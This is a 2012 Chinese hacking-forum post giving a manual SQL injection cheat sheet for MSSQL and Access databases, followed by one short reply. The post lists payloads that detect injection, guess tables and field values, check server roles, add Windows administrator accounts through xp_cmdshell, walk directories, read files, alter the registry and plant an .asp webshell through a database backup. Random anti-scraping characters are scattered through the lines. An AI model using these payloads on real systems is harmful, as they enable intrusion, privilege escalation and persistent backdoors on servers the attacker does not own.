找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2271|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 / y# m- y5 n. e6 u! d% r- h8 l
1.判断是否有注入;and 1=1 ;and 1=2 2 K0 l6 D& |3 r0 u

! ^6 ~' ^! W; K9 A! K8 n2 _5 J; L2.初步判断是否是mssql ;and user>0
$ l4 d- P9 i4 R/ j3 V4 a1 P, {' C, |1 G7 W
3.注入参数是字符'and [查询条件] and ''=' ; W6 k' P# ?8 I5 Y! Q6 x7 c

$ x" W( v, K- x2 P( I2 x4.搜索时没过滤参数的'and [查询条件] and '%25'='
7 p" Z1 A0 p. t. m- W5 \  [: M
2 u. C$ k/ s7 C$ I  H, v5.判断数据库系统 " H* E1 Y* e& R
;and (select count(*) from sysobjects)>0 mssql
- E8 ^7 z# K5 X7 ~3 \;and (select count(*) from msysobjects)>0 access % ?# R: E4 B' T" W, [3 K  o7 g
% K1 x6 n8 j, ^' _! W' I
6.猜数据库 ;and (select Count(*) from [数据库名])>0
" R3 k0 c) l# L: @& c+ Q
- r" S+ i2 R  P. |1 U: W) z+ E7.猜字段 ;and (select Count(字段名) from 数据库名)>0 - u- ?% _& y0 _

( o3 J1 |' c. `& W8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 / B) h8 Y% F, j
( m( G) ?( @6 Z5 H$ ?
9.(1)猜字段的ascii值(access)
6 f2 d3 I4 v1 D/ R;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
  a" f- [  F% A+ X# d- m" |, \9 C2 E" X9 ^
(2)猜字段的ascii值(mssql) ( v9 J5 z6 ~+ G5 ]: ?
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
3 M" O+ H6 Q1 {, |( ?6 j5 z- W/ x% C& Z
10.测试权限结构(mssql)
# q* O( T: m# i6 ~+ ~- f6 w8 M;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ) Z) y! }2 Y3 z
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
/ z' f" ]2 a  ~% n;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
. D4 Q- j7 _1 y7 |;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ; z! p- H6 Z- R. ?- q' \$ Y, \! s
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 9 `( V( G: T* H/ C8 y1 N2 K
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- " A. L3 p5 u  @! d8 Q
;and 1=(select IS_MEMBER('db_owner'));--
8 k7 ?4 f! a+ P& [3 [& @9 Z/ x; n5 N9 w
11.添加mssql和系统的帐户 - t% b6 }- {  f  J) {9 S
;exec master.dbo.sp_addlogin username;--
( N0 U3 {! o/ p+ L, s* p! H0 ]' {4 H. y) x1 X1 h
;exec master.dbo.sp_password null,username,password;-- # j9 W; j, H2 E+ R1 D8 Q1 D7 I( h

- Z2 R1 j8 L$ y0 S8 \;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3 Z; {$ H) e, K; Q. O
2 i4 G, i# S" t& U: ~. y
;exec master.dbo.xp_cmdshell 'net user username password
; l, @/ o9 b- ]8 U' d3 c4 c  f/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
+ [/ d# C3 L. k% L- U1 R5 t7 S+ l
- U/ z* J& L3 |;exec master.dbo.xp_cmdshell 'net user username password /add';-- / l5 p0 ~5 l# }8 `

4 O  ~" l1 R. w) x, Q- p, `" x;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- - |. C9 C$ M: [# m) t
3 X6 Y! ]8 Y6 s4 H) `
12.(1)遍历目录
& ]; M. i9 {8 r. |) }4 G! t; [
;create table dirs(paths varchar(100), id int) & `$ I  G6 l- z
;insert dirs exec master.dbo.xp_dirtree 'c:\'
5 u3 z$ }/ Q, X. T7 k;and (select top 1 paths from dirs)>0
# R1 d' H5 n( M7 r! t;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ; W( |& N' Z' }# W
$ j. E% D2 [/ ^' ?
(2)遍历目录
/ ?6 u& ?  M# y9 S4 y' s;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- " W7 X. \% I( `( I2 _/ B: m
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 : V* Q4 s7 T: K, _( U0 j
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ! o2 J0 E" ~6 \0 }3 |
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 7 M0 X; k. ]5 T
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
! g7 E" m( i" L7 k
$ a% e& M$ ~2 s  \8 u: b13.mssql中的存储过程 , Z- h" M8 o) ]. R7 D: V
  p. S# {9 c( C% L
xp_regenumvalues 注册表根键, 子键 0 Q' d  n/ d% v! `' A0 E% }
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5 n2 c+ f1 O* I, D
+ d, ]/ m8 C7 k- @2 K. ^3 Y# b
xp_regread 根键,子键,键值名
  q* B9 c( F9 d! T;exec xp_regread . k0 @4 G( p' G0 n+ C: c
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
  b+ X) X3 x2 H' j: ?
9 \; I! |1 P% W8 }( Z2 `xp_regwrite 根键,子键, 值名, 值类型, 值
  u$ U( n! a8 l9 c2 i; V' N# ?4 f值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
/ P) {) Z5 M. |1 p$ t/ |;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ( @7 m- w7 H# p8 o

3 |( ~. g& X+ [5 A# b1 T: exp_regdeletevalue 根键,子键,值名
' Q, k0 f; G2 M6 Y" k/ {5 F; D3 u! \4 p
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 : f. G" G' U# n% Q7 r8 a' U

# n" z' B( _* f/ wxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
) |" U& E; e. M2 F3 I7 {9 U9 a
4 p( Q4 E7 `- J14.mssql的backup创建webshell 8 s1 i7 ]) `: d% X9 I
use model * J/ X" q! `  a- `; f
create table cmd(str image);
# h' |, M8 m6 E' S- A% winsert into cmd(str) values (''); ! j! p% |4 \* V8 M0 y0 O, u9 k
backup database model to disk='c:\l.asp'; . u* D0 L$ u' Q
) u# m2 n6 |; {; ?
15.mssql内置函数 " o6 L3 m. J" m, d9 W; i
;and (select @@version)>0 获得Windows的版本号 ( ?& a8 Z+ }. R
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
0 e9 K) x* G% _! A- {;and (select user_name())>0 爆当前系统的连接用户
$ O) P$ D) w+ Z4 B/ Q. X;and (select db_name())>0 得到当前连接的数据库
: k" V6 i. }# k# h" |+ {" {/ L0 O* _. ?/ ]- Q" ^
16.简洁的webshell ! n  w2 |/ t( H& `

+ g/ K9 `+ I8 y: Euse model
8 h" ~" |# J$ x+ ~% s3 R9 }% ], Z% I/ S
create table cmd(str image);
* J  c  a# h2 q/ _
1 Z& |9 I: K5 z5 d! Z0 E, Linsert into cmd(str) values (''); : h' y+ u* K" R* q4 w
- q6 n$ z: e, k
backup database model to disk='g:\wwwtest\l.asp'; " q5 j* q" J0 E3 n8 P  J* `

+ |6 _* {* m, Y8 I
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表